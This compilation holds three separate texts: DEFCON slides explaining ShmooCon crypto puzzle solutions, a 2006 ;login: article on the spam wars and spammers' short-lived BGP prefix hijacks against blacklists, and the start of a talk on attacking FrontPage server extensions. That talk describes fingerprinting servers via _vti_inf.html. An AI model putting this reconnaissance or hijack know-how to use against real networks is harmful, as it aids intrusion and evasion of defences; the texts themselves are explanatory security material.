• Padded plaintext
– CONGRATULATIONSZONZYOURZOPPORTUNITYZTOZJOINZO
URZFIRSTZSHMOOCONZCRYPTOZCONUNDRUMZ
– YOURZFIRSTZTASKZISZTOZFINDZPARTICIPANTSZWITHZSTR
INGSZOFZMARDIZGRASZCOLORSZONLYZZ
– AZWARNINGZTOZYOUZDOZNOTZSHOWZUPZWITHZANYTHIN
GZPINKZORZYOUZDISQUALIFYZINSTANTLYZZ
– BRINGZYOURZSTRINGSZTOZAZMANZORZWOMANZWHOZHA
SZAZSTRINGZTHATZISZAZCOLORZOFZBLOODZZ
– ANDZYOUZWILLZOBTAINZANZIMPORTANTZHINTZTHATZWIL
LZASSISTZINZSOLVINGZAZFIRSTZROUNDZ
• (Note the use of “Z”s for spaces and padding at end)
• So, using five Caesar ciphers, the offset of which is 7-
13-1-18-11:
© Copyright 2010, National Security Corporation, all rights reserved
21
DEFCON XVIII
DEFCON XVIII
DEFCON XVIII
Round 1
• Ciphertext
– JVUNYHABSHAPVUZGVUGFVBYGVWWVYABUPAFGAVGQVP
UGVBYGMPYZAGZOTVVJVUGJYFWAVGJVUBUKYBTG
– LBHEMSVEFGMGNFXMVFMGBMSVAQMCNEGVPVCNAGFMJV
GUMFGEVATFMBSMZNEQVMTENFMPBYBEFMBAYLMM
– BAXBSOJOHAUPAZPVAEPAOPUATIPXAVQAXJUIABOZUIJOH
AQJOLAPSAZPVAEJTRVBMJGZAJOTUBOUMZAA
– TJAFYRQGMJRKLJAFYKRLGRSRESFRGJROGESFROZGRZS
KRSRKLJAFYRLZSLRAKRSRUGDGJRGXRTDGGVRR
– LYOKJZFKHTWWKZMELTYKLYKTXAZCELYEKSTYEKESLEKH
TWWKLDDTDEKTYKDZWGTYRKLKQTCDEKCZFYOK
© Copyright 2010, National Security Corporation, all rights reserved
22
DEFCON XVIII
DEFCON XVIII
DEFCON XVIII
Sample Clue (Front and Back)
SHMOOSHMOOSHMOOSHMOOSHMOOSHMOOSHMOOSHMOOSHMOOSHMOOSHMOOSHMOOSHMOOSHMOOSHMOOSHMOO
JVUNYHABSHAPVUZGVUGFVBYGVWWVYABUPAFGAVGQVPUGVBYGMPYZAGZOTVVJVUGJYFWAVGJVUBUKYBTG
LBHEMSVEFGMGNFXMVFMGBMSVAQMCNEGVPVCNAGFMJVGUMFGEVATFMBSMZNEQVMTENFMPBYBEFMBAYLMM
BAXBSOJOHAUPAZPVAEPAOPUATIPXAVQAXJUIABOZUIJOHAQJOLAPSAZPVAEJTRVBMJGZAJOTUBOUMZAA
TJAFYRQGMJRKLJAFYKRLGRSRESFRGJROGESFROZGRZSKRSRKLJAFYRLZSLRAKRSRUGDGJRGXRTDGGVRR
LYOKJZFKHTWWKZMELTYKLYKTXAZCELYEKSTYEKESLEKHTWWKLDDTDEKTYKDZWGTYRKLKQTCDEKCZFYOK
"I hear and I forget. I see and I remember. I do and I understand." – Confucius
If you do
Oh you, yes _you_
Don't throw away;
not Shmoo
are one of a few.
Another will play
It is too
Can't you see who
Pass along, okay?
bad for u
wants this clue??
You'll make their day.
"The greatest good you can do for another is not just to share your riches but
to reveal to him his own." – Disraeli
•There were six variants with six different sets of quotes
– The quotes weren’t part of the puzzle; but just for entertainment
•By the way, what does 7-13-1-18-11 equate to?
– You might see this as a recurring theme…
•A few teams figured out this first round, and got:
© Copyright 2010, National Security Corporation, all rights reserved
23
DEFCON XVIII
DEFCON XVIII
DEFCON XVIII
Round 1.5
Ready for
more?
A short
visit to
see
A Hacker
Looks
Past 50
A painless
operation
© Copyright 2010, National Security Corporation, all rights reserved
24
DEFCON XVIII
DEFCON XVIII
DEFCON XVIII
Round 2
• Round 2 was G Mark’s talk “A Hacker
Looks Past 50” (a sequel to previous talk
“A Hacker Looks At 50”)
• Handed out punched card with messages
encrypted at the bottom
Shmoocon 2008 Special
"A Hacker Looks Past 50"
Presented by: G. Mark
Saturday 16 February 12:00 p.m.
ADMIT ONE
Must be present to win!
Ticket number: 001
PSQCFYQCRYCAAHOYKPIUKTIRQHIUCHFBRWUCDYYO
IRJURYKRAYCABPLPSMISWDABFAPAABMWKPMYKASF
© Copyright 2010, National Security Corporation, all rights reserved
25
DEFCON XVIII
DEFCON XVIII
DEFCON XVIII
Round 2
• Playfair cipher (what I call the “don’t
cheat” cipher)
– key "A Hacker Looks Past Fifty"
(AHCKERLOSPTFIYBDGJMNQUVWYZ)
Y
V W X
U
T
S
R
Q
P
O
M N
L
K
J
I
H
G
F
E
D
C
B
A
V W Y
U
Q
M N
J
G
D
B
Y
I
F
T
P
S
O
L
R
E
K
C
H
A
© Copyright 2010, National Security Corporation, all rights reserved
26
DEFCON XVIII
DEFCON XVIII
DEFCON XVIII
Round 2 Messages
• GO AHEAD EMAIL MARDIGRAS AT
SHMOOCON DOT INFO FOR THE FIRST OF
FOUR PIECES OF THE ROUND TWO PUZZLE
• OH TRY TO FIND WWW DOT SHMOOCON DOT
INFO SLASH BEADSECRET FOR SECONDARY
PUZZLE PIECE KEEP GOING
• FOR FUN DIAL THE ALOHA STATE NINE FIVE
FOUR NINE TWO DOUBLE THREE FOR THE
THIRD IMPORTANT MESSAGE
• SOMETIMES THE EASIEST WAY TO GET WHAT
YOU WANT IS TO JUST ASK THE PERSON
YOU MET THREE TIMES NICELY
© Copyright 2010, National Security Corporation, all rights reserved
27
DEFCON XVIII
DEFCON XVIII
DEFCON XVIII
Round 2 Messages Padded for
Encryption
• GOAHEADEMAILMARDIGRASATSHMOXOCON
DOTINFOFORTHEFIRSTOFFOURPIECESOFTH
EROUNDTWOPUZZL
• OHTRYTOFINDWWXWDOTSHMOOCONDOTINF
OSLASHBEADSECRETFORSECONDARYPUZX
ZLEPIECEKEEPGOIN
• FORFUNDIALTHEALOHASTATENINEFIVEFOU
RNINETWODOUBLETHREEFORTHETHIRDIMP
ORTANTMESSAGE
• SOMETIMESTHEEASIESTWAYTOGETWHATYO
UWANTISTOJUSTASKTHEPERSONYOUMETTH
REETIMESNICELY
© Copyright 2010, National Security Corporation, all rights reserved
28
DEFCON XVIII
DEFCON XVIII
DEFCON XVIII
Round 2 Messages Encrypted
With Playfair Cipher
MLHCAHQADCFODCTUFMTRRKYRCGSWIOSMMRFYGYLI
SLFAHBTORYLIILATOBAKKPLIFAAPRWQGIUSRVUVP
LCDTBFLIYMMUXZUMRILKWIIOSMMRFYGYSPRHLKQP
RUPKAOABILLPAKSMURSTRZUZVPPBBCKAEAPBMLYM
ILLTXDMTHRFAAHOSCHRYRDKQYMHBFWHBRWSDYMAB
CIMRZTPHFAPAHBSLFAABCFTUMWRSTDKDIDKPRKQH
PSQCFYQCRYCAAHOYKPIUKTIRQHIUCHFBRWUCDYYO
IRJURYKRAYCABPLPSMISWDABFAPAABMWKPMYKASF
Can’t have double letters in Playfair in odd-even index positions
© Copyright 2010, National Security Corporation, all rights reserved
29
DEFCON XVIII
DEFCON XVIII
DEFCON XVIII
So if you do each task, you get…
Autoresponder from
[email protected]:
This is the first clue.
T A W S A G K G M I E 5 4
Send another e-mail to the same domain
using the numbers you find in the clues
If you get them all (and in the right order)
The fourth hint will be given to you.
________________________________________
http://www.gmarkhardy.com/
shmoocon/beadsecret/clue2.txt
My hat's off to you!
You've solved puzzle two.
So here is some more
information to chew:
H G O T Y M A I E T A 7 2
Hurry, hurry, don't delay
You must solve the rest
By the close of the day
Third clue provided as a voice mail
message from (808) 954-9233:
E I R O T A R V W E D 1 8
___________________________________
Fourth clue (told to send e-mail to
[email protected]):
Here is the fourth piece of four
So you need look no more:
M C D S O R E E H B S
Did you find this with ease?
Or use the force of a brute?
Either way, solve the puzzle
And collect your loot.
© Copyright 2010, National Security Corporation, all rights reserved
30
DEFCON XVIII
DEFCON XVIII
DEFCON XVIII
Four Clues
• Clues 1-4; transpose vertical to
horizontal:
– T A W S A G K G M I E 5 4
– H G O T Y M A I E T A 7 2
– E I R O T A R V W E D 1 8
– M C D S O R E E H B S
• And you get:
– THE MAGIC WORDS TO SAY TO GMARK ARE
GIVE ME WHITE BEADS 571428
© Copyright 2010, National Security Corporation, all rights reserved
31
DEFCON XVIII
DEFCON XVIII
DEFCON XVIII
What Did The Winners Win?
• Winners were “Team Chicago” from
DePaul University
– Zack Fasel
– Leigh Hollowell
– Apneet Jolly
– Matt Jakubowski
• I had planned to give one winner one
plane ticket to DEFCON, but there were
four of them, so…
© Copyright 2010, National Security Corporation, all rights reserved
32
DEFCON XVIII
DEFCON XVIII
DEFCON XVIII
Crypto Can Pay Off
• I bought each of them a round-trip ticket
to DEFCON that year.
– Then they spent their time trying to solve
L0st’s puzzle instead of mine
– Jolly texted me at closing ceremony, “any
hints?”
– I replied, “start saving your money for next
year’s plane ticket. :P”
• By the way, that 2008 DEFCON puzzle
remains unsolved*…
© Copyright 2010, National Security Corporation, all rights reserved
33
DEFCON XVIII
DEFCON XVIII
DEFCON XVIII
DEFCON 2008
VFLASGGGGIUGAAGYBDAWHOEVHUUVLLHGJYOLGFGP
GHALGGGOAAGGJPLLHZKAGZSLRXHSRYHKFPVKISTF
XBMGRMBULEMPBMSRGMEBYRGMGRGHFMAGNMRLRZOM
GXMJRMLNBMEMUAZEGNQEQBGPSZRYZLDPYQDUGEPL
BVQZWOOBPPUSAZJEAUBTMATDFAJTTAUIFDSAQPVI
PFTIBOPWAUFOFHFAAJPASZSXMSBMFFMERIUSDZFU
QRJRWGDNMCZQTGYRZGFWRLRJRUFRSYWWKARAGMLS
RRGSKGMWYZKGSREOAVDKAQRZDTRKSDWWUYIVUSAQ
KCPNCEJPKPPAFFFZZKDKEPEPZZFXRCOKLAVDYDKO
XTXEJHKKPPEKECMSKKWEDBLEEDBZDEDZKSGJAZOW
34
© Copyright 2010, National Security Corporation, all rights reserved
DEFCON XVIII
DEFCON XVIII
DEFCON XVIII
*ONE person has solved this
(and flew to DEFCON XVIII on my dime)
35
© Copyright 2010, National Security Corporation, all rights reserved
DEFCON XVIII
DEFCON XVIII
DEFCON XVIII
You Can Create Your Own Crypto
But be careful – it’s like packing your
own parachute
You have better be really GOOD!
© Copyright 2010, National Security Corporation, all rights reserved
36
DEFCON XVIII
DEFCON XVIII
DEFCON XVIII
SHMOOCON 2009
• What was
THAT all
about?
• Morse
code
• Bar code
© Copyright 2010, National Security Corporation, all rights reserved
37
DEFCON XVIII
DEFCON XVIII
DEFCON XVIII
..-. . -. ... . ... -..- --
-- --- --- ... .-.. . -.. .
- . .... --.. -- . .. -..
-- --- --- ... . -.-- ..-. .-
.- -- --- --- ... . --- -.-
.-. --- --- -- .-- .. - ....
--- --- ... . . .--- -.-- -.
-... . .- -. --- -. -.-- --
. -- --- --- ... . --.. .-
-.-. .... --- -.-. --- .-.. .- -
. . .-. ... ..- -.-. .-- .-.
-- --- --- ... . -.- .- -
--. . - . -..- -... --- -
-- --- --- ... . -. ..- --.
. .... .-- -..- .--- -... .-. --.
-- --- --- ... .-.. . - ---
Bar Code
Right Border
Left Border
All Eight Badges
© Copyright 2010, National Security Corporation, all rights reserved
38
DEFCON XVIII
DEFCON XVIII
DEFCON XVIII
811235813217
GETEXBOT
MOOSENUG
711235813210
TEHZMEID
MOOSEYFA
611235813213
OOSEEJYN
BEANONYM
511235813216
AMOOSEOK
ROOMWITH
411235813219
EERSUCWR
MOOSEKAT
311235813212
EMOOSEZA
CHOCOLAT
211235813215
FENSESXM
MOOSLEDE
111235813218
EHWXJBRG
MOOSLETO
Bar Code
Right Border
Left Border
All Eight Badges
© Copyright 2010, National Security Corporation, all rights reserved
39
DEFCON XVIII
DEFCON XVIII
DEFCON XVIII
Table of Values
O O S E N U G G E T E X B O T
M
8
D
I
O O S E Y F A T E H Z M E
M
7
Y N
J
E A N O N Y M O O S E E
B
6
T H A M O O S E O K
O O M W I
R
5
O O S E K A T E E R S U C W R
M
4
H O C O L A T E M O O S E Z A
C
3
O O S L E D E F E N S E S X M
M
2
J B R G
O O S L E T O E H W X
M
1
16
15
14
13
12
11
10
9
8
7
6
5
4
3
2
1
© Copyright 2010, National Security Corporation, all rights reserved
40
DEFCON XVIII
DEFCON XVIII
DEFCON XVIII
What’s Left Over?
• Telomeres
– H W X J B R S X Z U C W O E J Y N H Z M E I
D E X B O T
• Can you see anything left-to-right?
– H W X J B R S X Z U C W O E J Y N H Z M E I
D E X B O T
– BRUCE HEIDE [sic] XO
• What’s left?
– H W X J S X Z W O J Y N Z M B T
– How many? Could that be significant?
© Copyright 2010, National Security Corporation, all rights reserved
41
DEFCON XVIII
DEFCON XVIII
DEFCON XVIII
Table of Values
O O S E N U G G E T E X B O T
M
8
D
I
O O S E Y F A T E H Z M E
M
7
Y N
J
E A N O N Y M O O S E E
B
6
T H A M O O S E O K
O O M W I
R
5
O O S E K A T E E R S U C W R
M
4
H O C O L A T E M O O S E Z A
C
3
O O S L E D E F E N S E S X M
M
2
J B R G
O O S L E T O E H W X
M
1
16
15
14
13
12
11
10
9
8
7
6
5
4
3
2
1
© Copyright 2010, National Security Corporation, all rights reserved
42
DEFCON XVIII
DEFCON XVIII
DEFCON XVIII
What About Those Bar Codes?
• Common sequence
– [x]1123581321[y]
– 1 – 1 – 2 – 3 – 5 – 8 – 13 – 21
– Fibonacci Series
• First eight terms
• Eight badges
• Eight indexes (or indices :)
– What to do with them?
• Think shift register
© Copyright 2010, National Security Corporation, all rights reserved
43
DEFCON XVIII
DEFCON XVIII
DEFCON XVIII
Table of Values
O O S E N U G G E T E X B O T
M
8
D
I
O O S E Y F A T E H Z M E
M
7
Y N
J
E A N O N Y M O O S E E
B
6
T H A M O O S E O K
O O M W I
R
5
O O S E K A T E E R S U C W R
M
4
H O C O L A T E M O O S E Z A
C
3
O O S L E D E F E N S E S X M
M
2
J B R G
O O S L E T O E H W X
M
1
16
15
14
13
12
11
10
9
8
7
6
5
4
3
2
1
1
1
2
3
5
8
13
21
© Copyright 2010, National Security Corporation, all rights reserved
44
DEFCON XVIII
DEFCON XVIII
DEFCON XVIII
Table of Values
E
M O O S E N U G G E T
B O T
X
8
D M O O S
M E I
E H Z
A T
Y F
E
7
Y N B E A N O N Y M O
S E E J
O
6
H A M O O
T
E O K R O O M W I
S
5
E E R S U C
W R M O O S E K A T
4
E M O O S E Z
A T
C H O C O L
A
3
E N S E S X M
E D E F
O O S L
M
2
B R G
O E H W X J
E T
O O S L
M
1
16
15
14
13
12
11
10
9
8
7
6
5
4
3
2
1
© Copyright 2010, National Security Corporation, all rights reserved
45
DEFCON XVIII
DEFCON XVIII
DEFCON XVIII
Table of Numeric Equivalents
5
20
5
7
7
21
14
5
19
15
15
13
20
15
2
24
8
19
15
15
13
4
9
5
13
26
8
5
20
1
6
25
5
7
15
13
25
14
15
14
1
5
2
14
25
10
5
5
19
15
6
15
15
13
1
8
20
9
23
13
15
15
18
11
15
5
19
5
3
21
19
18
5
5
20
1
11
5
19
15
15
13
18
23
4
26
5
19
15
15
13
5
20
1
12
15
3
15
8
3
1
3
13
24
19
5
19
14
5
6
5
4
5
12
19
15
15
13
2
7
18
2
10
24
23
8
5
15
20
5
12
19
15
15
13
1
16
15
14
13
12
11
10
9
8
7
6
5
4
3
2
1
© Copyright 2010, National Security Corporation, all rights reserved
46
DEFCON XVIII
DEFCON XVIII
DEFCON XVIII
Table of Numeric Equivalents
5
20
5
7
7
21
14
5
19
15
15
13
20
15
2
24
8
19
15
15
13
4
9
5
13
26
8
5
20
1
6
25
5
7
15
13
25
14
15
14
1
5
2
14
25
10
5
5
19
15
6
15
15
13
1
8
20
9
23
13
15
15
18
11
15
5
19
5
3
21
19
18
5
5
20
1
11
5
19
15
15
13
18
23
4
26
5
19
15
15
13
5
20
1
12
15
3
15
8
3
1
3
13
24
19
5
19
14
5
6
5
4
5
12
19
15
15
13
2
7
18
2
10
24
23
8
5
15
20
5
12
19
15
15
13
1
16
15
14
13
12
11
10
9
8
7
6
5
4
3
2
1
113
103
131
117
83
97
119
67
78
92
93
104
103
105
92
102
113
9
25
1
13
5
19
15
15
0
14
15
0
25
1
14
24
9
SUM
Mod26
© Copyright 2010, National Security Corporation, all rights reserved
47
DEFCON XVIII
DEFCON XVIII
DEFCON XVIII
Convert Back to Text
• (1=A, 2=B, … 26=Z)
• 9
24
14
1
25
0
15
14
0
15
15
19
5
13
1
25
• I
X
N
A
Y
O
N
O
O
S
E
M
A
Y
Congratulations. You have just discovered the secret message. Y
Congratulations. You have just discovered the secret message. Your patience has been rewarded.
our patience has been rewarded.
Go to my website subdirectory reciprocal of this page number to
Go to my website subdirectory reciprocal of this page number to six places.
six places.
© Copyright 2010, National Security Corporation, all rights reserved
48
DEFCON XVIII
DEFCON XVIII
DEFCON XVIII
What Kind of Sick Mind Comes Up
With This?
© Copyright 2010, National Security Corporation, all rights reserved
49
DEFCON XVIII
DEFCON XVIII
DEFCON XVIII
The Same One That Came Up With
This…
• The DEFCON XVIII crypto contest
– Look for gold on the DC CD
• Go have some fun!
– Follow me at @g_mark for clues
© Copyright 2010, National Security Corporation, all rights reserved
50
DEFCON XVIII
DEFCON XVIII
DEFCON XVIII
Other G. Mark Crypto Contests
QUAHOGCON 2010
Other G. Mark Crypto Contests
SHMOOCON 2010
52
© Copyright 2010, National Security Corporation, all rights reserved
DEFCON XVIII
DEFCON XVIII
DEFCON XVIII
Tales from the Crypto
G. Mark Hardy, CISM, CISA, CISSP
National Security Corporation
[email protected]
+1 410.933.9333
@g_mark | pdf |
D A V E J O S E P H S E N
homeless vikings
S H O R T- L I V E D B G P S E S S I O N
H I J A C K I N G , A N E W C H A P T E R I N
T H E S PA M WA R S
Dave Josephsen is author of the upcoming book
Building Monitoring Infrastructure with Nagios
(Addison-Wesley). He currently works as the senior
systems administrator for a small Web hosting com-
pany and donates his spare time to the SourceMage
GNU Linux project.
[email protected]
T H E F I R ST U N S O L I C I T E D, C O M M E R-
cially motivated bulk email was sent on
ARPANET in 1978 by a DEC representative
named Gary Thuerk [1]. A full 28 years later,
spam has evolved into a 55 billion message
per day [2] global epidemic that has affect-
ed areas of technology unimaginable to the
ARPANET engineers of 1978. This article will
chronical the history of the spam wars, a
war that has almost always been waged
along two technological fronts: those of
content filtering and delivery countermea-
sures. By examining the history of the arms
race in the context of recent attacks with
zombied PCs and short-lived BGP session
hijacks, I conclude that one of these fronts
may in fact be a dead end and worth aban-
doning altogether.
From 1978 to 1994, the business of spam
remained a nonissue because email itself was in
an infantile state. In the early 1990s, most spam
was sent in the context of USENET newsgroups,
and by a few identifiable individuals, such as
Canter, Siegel, and Wolff [3]. In 1994 the net wit-
nessed its first real spam, sometimes referred to as
the “spam heard round the world,” when Canter
and Siegel’s “green card” message was sent to at
least 6000 Usenet groups [4].
In the early days, retribution was swift [5], but
things degenerated quickly. In 1995, Floodgate,
the first commercially available spamware was
available. By 1996, four more automated spam
packages were available for sale, as were lists of
millions of email addresses [6]. The spammers
wasted no time legitimizing their so-called busi-
ness model with various pro-spam trade groups
such as the Freedom Knights and the IEMMC and
proceeded to reach millions of USENET sub-
scribers with their marketing messages. The lure
of free marketing combined with the lack of pro-
tocol security set the stage for the inevitable war
that rages on to this day.
Almost immediately, two technological method-
ologies appeared to combat spam. The first type
focused on the content of the message in ques-
tion, and the second type on indicators such as
the email or IP address of the sender. These diver-
gent paths have evolved largely independent of
each other as the spam attacks became more fre-
60
; L O G I N : VO L . 3 1 , N O. 6
quent and increasingly complex. Content filters eventually moved toward
statistical learning, whereas delivery countermeasures evolved increasingly
sophisticated challenge/response mechanisms. Let’s examine the lineage of
each front independently, beginning with content filters.
Content Filters
The earliest example of automated content filtering might be Nancy
McGough’s procmail filtering FAQ, published in 1994 and still available at
http://www.faqs.org/faqs/mail/filtering-faq/. Early spam messages were very
much singular events [7]. The defenders of the time knew who would be
sending spam, and sometimes even when, so early content filters needed to
do little more than look for static strings in the message body.
Static string searching continued to work well for many people until
around the year 2000, when various content obfuscation techniques
became prevalent in spam [6]. The word obfuscation games continued for
a number of years, with spammers using misspellings, character spacing.
and a multitude of other HTML- and MIME-based [8] techniques to
bypass word filters. For a while the defenders followed in step, adding
html parsers and character transformation algorithms to their content filters.
In late 2000 and early 2001, based on an idea from Paul Vixie, an innova-
tive content filter was created which worked by taking a fuzzy checksum
of a message and comparing it to a database of known spam checksums.
Two implementations of this idea exist today in The Distributed Checksum
Clearinghouse (http://www.rhyolite.com/anti-spam/dcc/) and Vipul’s Razor
(http://razor.sourceforge.net/). Spammers responded with attempts to poi-
son the checksum database by reporting legitimate messages to the abuse
lists, and by adding unique gibberish to the messages in an effort to make
the checksums more “different.”
Then, in August 2002, Paul Graham published his seminal paper, “A plan
for Spam” [9], in which he publicly makes the case for Bayesian learning
algorithms for spam classification. Prior work existed [10, 11], but ironi-
cally Graham’s less mathematically rigorous approach made the technique
far more effective [12]. At least a dozen Bayesian implementations exist
today.
Since 2002, several improvements have been made to Graham’s core idea;
these include the addition of several classification algorithms, such as
Robinson’s inverse chi-square [13], and data purification techniques, such
as Bayesian noise reduction [14]. But overall, naive Bayesian classifiers
have been unanswered by the spammers for four years and are therefore
considered a category killer for content-based filters. Where researchers
have had success against Bayesian filters, it has been by training other
Bayesian filters to use against them [15].
Delivery Countermeasures
On the delivery countermeasure front, examples of blacklists date back to
November 1994 [3], when USENET “remove lists”, consisting of malicious
sender addresses, were used to remove unwanted messages. In those early
days, reporting abuse to a spammer’s ISP yielded swift results [5]. By 1995
the USENET community’s outrage over spam abuse had outweighed its
censorship fears, and UDP (USENET Death Penalties) were used to block
all posts from malicious sites. At the time, the sites weren’t necessarily con-
sidered malicious; the UDP was most often used to “persuade” the admin-
;LOGIN: DECEMBER 2006
HOMELESS VIKINGS
61
istrators of a particular site to take care of its abuse problems after more
diplomatic means had failed [16].
In non-USENET circles, sender address-based filtering was becoming more
and more common, forcing spammers toward joe-job attacks. By 1996, the
abuse reports, and sender filtering resulted in the spammers use of relay
systems to deliver their mail. In 1997 the term “open relay” was coined to
describe a mail server that would relay mail for any recipient from any
sender. The first real-time spam blacklists (RBLs) appeared the same year
[6].
From 1998 to 2002, so many delivery countermeasures had been proposed
and beaten that they are too numerous to mention. Attempts at using
blacklists were thwarted by relays, whitelists were met by directory harvest
attacks and more joe-job spoofing, and greylists still showed promise but
wreaked havoc with noncompliant MTAs. A few payment-based systems
were proposed in this period, including micropayment-based “e-stamps”
[17] and the CPU-based idea that eventually became hashcash [18]. These
are not particularly effective against spoofing attacks and never gained
widespread adoption. Direct challenge/response systems were ineffective,
owing to forged “from” headers, and were generally considered rude. Most
of the other solutions of the time were in one way or another thwarted by
spammers simply adopting someone else’s net identity, through open
relays, or with header spoofing, or using a combination of the two.
The ease with which the spammers abused valid credentials was clearly
frustrating to those designing delivery countermeasure systems. Many in
this period became convinced that the problem with SMTP in general is
the lack of sender authentication. In June of 2002, Paul Vixie wrote a
paper entitled “Repudiating MAIL FROM” [19] which became the basis for
SPF, or Sender Policy Framework. SPF is a DNS-based authentication
mechanism which calls for the use of MX-like DNS records for mail servers
that send mail, instead of those that receive them.
Although SPF was in clear violation of the SMTP RFCs, and broke impor-
tant functionality such as forwarding, many (especially in the business
community) lauded SPF as the silver bullet that would once and for all
solve the spam problem, especially when it was embraced by Microsoft and
AOL. But alas SPF too has met with defeat [20] (though many vendors still
encourage its use).
The year 2000 witnessed the first large-scale distributed denial-of-service
attack against multiple prominent Web sites including Yahoo! and eBay.
The attack, launched by a Canadian teenager, brought public attention to
the problem of botnets. A recent ironport study found that 80% of the
spam currently sent on the Internet is sent through similar collections of
zombied PCs [2]. In one way or another, Zombies make moot most of the
remaining challenge/response systems of today. By directly making use of
“grandma’s” PC to send their message, spammers are nearly assured of suc-
cess in a challenge/response scenario.
Today, RBLs remain the largest and most widely used tool on the delivery
countermeasures front, despite the questionable ethics and legal entangle-
ments of the RBL managers themselves [21, 22, 23]. The ease of setup,
combined with a quantifiable reduction in spam, makes RBLs a popular
choice with systems administrators looking for a quick fix so that they can
get back to their “real” work.
62
; L O G I N : VO L . 3 1 , N O. 6
BGP Prefix Hijacks
However, a recent paper by Anirudh Ramachandran and Nick Feamster
[24] may change all that by providing a sneak peek at the next battlefield
on the delivery countermeasures front. The Feamster paper provides the
first documented evidence of spammers using short-lived BGP prefix
hijacks against RBLs to get their mail delivered. If you are not familiar with
the technique, I’ll briefly summarize.
Prefix hijacking can happen a couple of different ways. In the first sce-
nario, the hijacker advertises a huge netblock, for example, 12.0.0.0/8.
Much of the space in this netblock is unallocated, or allocated but unused.
More specific advertisements in this netblock will take precedence over
larger ones, so in practice, the attacker won’t interrupt legitimate traffic.
For example, a legitimate company advertising 12.10.214.0/24 will not be
affected by the hijacker’s less specific advertisement.
The second scenario is more of a direct prefix hijack, whereby the hijacker
advertises a legitimate netblock (yours for example), and routers closer to
the hijacker who don’t or can’t filter bogus announcements from their BGP
peers simply believe the hijacker. This is less common in practice right
now, because this sort of thing is easier to spot and has less of a payoff;
some routers still believe the legitimate Autonomous System.
Prefix hijacking has been used in the past by profiteers who would com-
bine bogus BGP announcements with RIR social engineering to take con-
trol of blocks of IP space they did not own. They would then sell these
bogus netblocks to unwitting organizations. In the past few years, however,
the network engineering and security communities have become aware of
a different kind of prefix hijack. These hijacks are very short lived, lasting
15 minutes or less.
Why would someone hijack a route for such a short amount of time? For
the readership of this magazine, it’s probably not a huge test of the imagi-
nation. In fact, pretty much any illicit behavior you happen to fancy would
benefit from the technique because using addresses nobody owns makes
you harder to track. If you wanted to nmap the NSA, DOS the RIAA, P2P
MP3s, or perform whatever other acronyms might get you in trouble, and
you wanted to do it in a quasi-untraceable manner, this might be for you.
Spamming people is of course a behavior generally assumed to be associat-
ed with short-lived prefix hijacks, but while speculation abounds, very lit-
tle in the way of actual evidence has been available until the Feamster
paper.
Prefix hijacking attacks directly target countermeasures such as RBLs by
using netblocks nobody has seen yet. It’s simply a new take on the same
old trick of using someone else’s credentials to deliver unwanted mail.
Prefix hijacks can also target SPF by making it so that large portions of the
Internet might actually send their SPF DNS authentication requests right
to the spammers. The bottom line is that if your anti-spam solution
depends on IP addresses, you lose.
Conclusions
I believe prefix hijacking may prove to be the proverbial nail in RBL’s cof-
fin, but even as you read this the arms race escalates on the delivery coun-
termeasures front. RBLs for their part are evolving lower into the network-
ing stack and I’m quite sure that this is not a good thing.
;LOGIN: DECEMBER 2006
HOMELESS VIKINGS
63
For example, the MAPS RBL now offers a BGP feed that your Cisco router
can consume [25]. Given the history of the war thus far I am skeptical that
further forays toward filtering spam using incidental indicators such as IP
address are going to be effective without incurring additional collateral
damage. Finally, given that NBCs (naïve Bayesian classifiers) remain an
effective and unanswered weapon in the fight, I find it curious that there
are two fronts at all.
REFERENCES
[1] http://www.templetons.com/brad/spamreact.html.
[2] http://www.ironport.com/company/ironport_pr_2006-06-28.html.
[3] http://www-128.ibm.com/developerworks/linux/library/l-spam/
l-spam.html.
[4] http://en.wikipedia.org/wiki/Canter_&_Siegel.
[5] http://catless.ncl.ac.uk/Risks/15.79.html#subj12.
[6] http://keithlynch.net/spamline.html.
[7] http://www.l-ware.com/wsj_cybersell.htm.
[8] http://www.jgc.org/tsc/.
[9] http://www.paulgraham.com/spam.html.
[10] http://citeseer.ist.psu.edu/sahami98bayesian.html.
[11] http://citeseer.ist.psu.edu/pantel98spamcop.html.
[12] http://www.paulgraham.com/better.html.
[13] http://radio.weblogs.com/0101454/stories/2002/09/16/
spamDetection.html.
[14] For example, http://freshmeat.net/projects/libbnr/.
[15] http://www.jgc.org/SpamConference011604.pps.
[16] http://www.stopspam.org/faqs/udp.html.
[17] http://www.templetons.com/brad/spam/estamps.html.
[18] http://www.hashcash.org/papers/hashcash.pdf.
[19] http://sa.vix.com/~vixie/mailfrom.txt.
[20] http://www.theregister.co.uk/2004/09/03/email_authentication_spam/.
[21] http://www.internetnews.com/dev-news/article.php/10_995251.
[22] http://csifdocs.cs.ucdavis.edu/tiki-download_wiki_attachment
.php?attId=431.
[23] http://www.peacefire.org/stealth/group-statement.5-17-2001.html.
[24] http://www-static.cc.gatech.edu/~feamster/publications/
p396-ramachandran.pdf.
[25] http://www.pch.net/documents/tutorials/maps-rbl-bgp-cisco
-config-faq.html.
64
; L O G I N : VO L . 3 1 , N O. 6 | pdf |
_vti_fpxploitation
[email protected]
Frontpage: Laying the ground work
What is it?
Microsoft's integrated Web Site development
tool.
System for adding basic to advanced functionality
with little or no web page experience.
Integrated MS Office package
Security Nightmare
Who is Vermeer Technologies?
In early 1995, Vermeer Technologies developed one of the
first web publishing tools for simple end users, Frontpage.
Following enormous success, the application was later bought
out by Microsoft and integrated in the Office package.
Frontpage: Decoding the system
Protocol Analysis
Client/Server Protocol Analysis
Communication between Client and Server.
Frontpage Client and Server extensions communicate over
HTTP PUT requests. The Frontpage client makes requests
against Author.dll, Admin.dll, and shtml.exe.
Author.dll(exe)
Authoring commands, uploading, downloading
content, reviewing properties, adding
enhancements.
Admin.dll(exe)
Admin commands, including adding additional
users, modify user permissions, listing accounts.
Shtml.exe, vti_rpc
Initial access and service negotiation.
The Authentication System
This authentication process
takes place each time a request
is performed, i.e login, upload,
download, change
permissions, navigate folders,
etc.
While an ineffective use of
resources, it does limit attacks
based on state.
_vti_inf.html
_vti_inf.html
This file provides configuration information and
helps us determine something about the server.
_vti_inf.html Cont.
Using the following simple guidelines when
reading the _vti_inf.html file we can better
determine the operating system.
_vti_inf.html files with references to
.exe tools most likely reside on Unix
servers.
_vti_inf.html files with references to
.dll tools most likely reside on
Windows Servers
Server extension version numbers can
further help us narrow down the
options.
_vti_inf Version Table
Using the information in _vti_inf.html, we can
often correctly determine the OS version.
Operating System/Version
Frontpage Extension Version
Windows 98/ME Personal Webserver
?
Windows NT 4.0
4.x
Windows 2000
5.x
Windows XP
5.x
Understanding Vermeer RPC Packets
